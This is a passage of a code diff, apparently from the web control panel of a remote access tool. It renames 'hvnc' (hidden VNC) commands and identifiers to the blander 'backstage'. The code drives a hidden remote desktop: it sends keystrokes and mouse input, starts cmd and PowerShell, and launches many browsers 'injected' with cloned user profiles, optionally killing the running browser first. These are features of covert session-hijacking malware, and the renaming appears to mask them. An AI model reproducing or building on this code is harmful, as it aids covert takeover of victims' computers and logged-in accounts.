loadSharedUiSettings } from "./shared-ui-s if (p2pClient) p2pClient.onRemoteCandidate(msg); return; } - if (msg && msg.type === "hvnc_clone_progress") { + if (msg && msg.type === "backstage_clone_progress") { handleCloneProgress(msg); return; } - if (msg && msg.type === "hvnc_lookup_result") { + if (msg && msg.type === "backstage_lookup_result") { handleLookupResult(msg); return; } - if (msg && msg.type === "hvnc_browser_check_result") { + if (msg && msg.type === "backstage_browser_check_result") { handleBrowserCheckResult(msg); return; } - if (msg && msg.type === "hvnc_installed_apps_result") { + if (msg && msg.type === "backstage_installed_apps_result") { handleInstalledAppsResult(msg); return; } - if (msg && msg.type === "hvnc_dxgi_status") { + if (msg && msg.type === "backstage_dxgi_status") { handleDXGIStatus(msg); return; } - if (msg && msg.type === "hvnc_browser_launch_status") { + if (msg && msg.type === "backstage_browser_launch_status") { handleBrowserLaunchStatus(msg); return; } - if (msg && msg.type === "hvnc_window_list_result") { + if (msg && msg.type === "backstage_window_list_result") { handleWindowListResult(msg); return; } - if (msg && msg.type === "hvnc_error") { - handleHVNCError(msg); + if (msg && msg.type === "backstage_error") { + handlebackstageError(msg); return; } if (msg && msg.type === "clipboard_content") { @@ -1388,32 +1388,32 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (p2pClient) p2pClient.onRemoteCandidate(msg); return; } - if (msg && msg.type === "hvnc_clone_progress") { + if (msg && msg.type === "backstage_clone_progress") { handleCloneProgress(msg); return; } - if (msg && msg.type === "hvnc_lookup_result") { + if (msg && msg.type === "backstage_lookup_result") { handleLookupResult(msg); return; } - if (msg && msg.type === "hvnc_browser_check_result") { + if (msg && msg.type === "backstage_browser_check_result") { handleBrowserCheckResult(msg); return; } - if (msg && msg.type === "hvnc_installed_apps_result") { + if (msg && msg.type === "backstage_installed_apps_result") { handleInstalledAppsResult(msg); return; } - if (msg && msg.type === "hvnc_dxgi_status") { + if (msg && msg.type === "backstage_dxgi_status") { handleDXGIStatus(msg); return; } - if (msg && msg.type === "hvnc_browser_launch_status") { + if (msg && msg.type === "backstage_browser_launch_status") { handleBrowserLaunchStatus(msg); return; } - if (msg && msg.type === "hvnc_error") { - console.error("hvnc: server error:", msg.error || msg.message); + if (msg && msg.type === "backstage_error") { + console.error("backstage: server error:", msg.error || msg.message); return; } if (msg && msg.type === "clipboard_content") { @@ -1433,10 +1433,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s setStreamState("starting", "Resuming stream"); const mode = getWebrtcMode(); if (displaySelect && displaySelect.value !== undefined) { - sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); + sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) || 0 }); } pushTargetFps(); - sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) }); + sendCmd("backstage_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) }); if (mode === "p2p") startP2P(); syncInputEnableState(); } else { @@ -1444,7 +1444,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } fetchClientInfo().then(() => { if (displaySelect && displaySelect.value) { - sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) }); + sendCmd("backstage_select_display", { display: parseInt(displaySelect.value, 10) }); } }); requestBrowserCheck(); @@ -1513,7 +1513,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } lastMoveSentAt = now; if (ws.bufferedAmount <= inputBackpressureBytes) { - sendCmd("hvnc_mouse_move", pendingMove); + sendCmd("backstage_mouse_move", pendingMove); } } @@ -1533,10 +1533,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (pt) { pendingMove = pt; if (ws.bufferedAmount <= inputBackpressureBytes) { - sendCmd("hvnc_mouse_move", pt); + sendCmd("backstage_mouse_move", pt); } } - sendCmd("hvnc_mouse_down", { button: e.button, ...(pt || {}) }); + sendCmd("backstage_mouse_down", { button: e.button, ...(pt || {}) }); e.preventDefault(); }); canvas.addEventListener("mouseup", function (e) { @@ -1545,10 +1545,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (pt) { pendingMove = pt; if (ws.bufferedAmount <= inputBackpressureBytes) { - sendCmd("hvnc_mouse_move", pt); + sendCmd("backstage_mouse_move", pt); } } - sendCmd("hvnc_mouse_up", { button: e.button, ...(pt || {}) }); + sendCmd("backstage_mouse_up", { button: e.button, ...(pt || {}) }); e.preventDefault(); }); canvas.addEventListener("contextmenu", function (e) { @@ -1560,7 +1560,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const pt = getCanvasPoint(e); if (!pt) return; const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY))); - sendCmd("hvnc_mouse_wheel", { delta, x: pt.x, y: pt.y }); + sendCmd("backstage_mouse_wheel", { delta, x: pt.x, y: pt.y }); e.preventDefault(); }, { passive: false }); @@ -1570,8 +1570,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); const kbdCapture = createKeyboardCapture({ container: canvas, - sendKeyDown: (e) => sendCmd("hvnc_key_down", { key: e.key, code: e.code }), - sendKeyUp: (e) => sendCmd("hvnc_key_up", { key: e.key, code: e.code }), + sendKeyDown: (e) => sendCmd("backstage_key_down", { key: e.key, code: e.code }), + sendKeyUp: (e) => sendCmd("backstage_key_up", { key: e.key, code: e.code }), }); if (kbdCtrl) { kbdCtrl.addEventListener("change", function () { @@ -1591,7 +1591,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s sharedSettingsSaver.saveNow(); if (ws && ws.readyState === WebSocket.OPEN && desiredStreaming) { desiredStreaming = false; - sendCmd("hvnc_stop", {}); + sendCmd("backstage_stop", {}); } destroyVideoDecoder(); stopAllWebrtc(); @@ -1631,7 +1631,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); } - ["hvncCloneToggle", "hvncCloneLiteToggle", "hvncKillIfRunningToggle"].forEach((id) => { + ["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => { const el = document.getElementById(id); if (el) { el.addEventListener("change", function () { @@ -1645,59 +1645,59 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s item.addEventListener("click", (e) => { const action = e.currentTarget?.dataset?.action; if (action === "start-cmd") { - sendCmd("hvnc_start_process", { path: "conhost cmd.exe" }); + sendCmd("backstage_start_process", { path: "conhost cmd.exe" }); } else if (action === "start-powershell") { - sendCmd("hvnc_start_process", { path: "conhost powershell.exe" }); + sendCmd("backstage_start_process", { path: "conhost powershell.exe" }); } else if (action === "start-chrome") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning }); } else if (action === "start-brave") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning }); } else if (action === "start-edge") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); } else if (action === "start-firefox") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); } else if (action === "start-opera") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning }); } else if (action === "start-operagx") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning }); } else if (action === "start-vivaldi") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning }); } else if (action === "start-yandex") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning }); } else if (action === "start-waterfox") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning }); } else if (action === "start-arc") { - const clone = document.getElementById("hvncCloneToggle")?.checked !== false; - const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true; - const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false; - sendCmd("hvnc_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning }); + const clone = document.getElementById("backstageCloneToggle")?.checked !== false; + const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; + const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; + sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning }); } else if (action === "start-custom") { hideContextMenu(); showCustomExeModal(); @@ -1713,47 +1713,47 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function showCustomExeModal() { - let overlay = document.getElementById("hvncCustomExeOverlay"); + let overlay = document.getElementById("backstageCustomExeOverlay"); if (overlay) { overlay.remove(); } overlay = document.createElement("div"); - overlay.id = "hvncCustomExeOverlay"; + overlay.id = "backstageCustomExeOverlay"; overlay.className = "fixed inset-0 z-[100] flex items-center justify-center bg-black/60"; overlay.innerHTML = `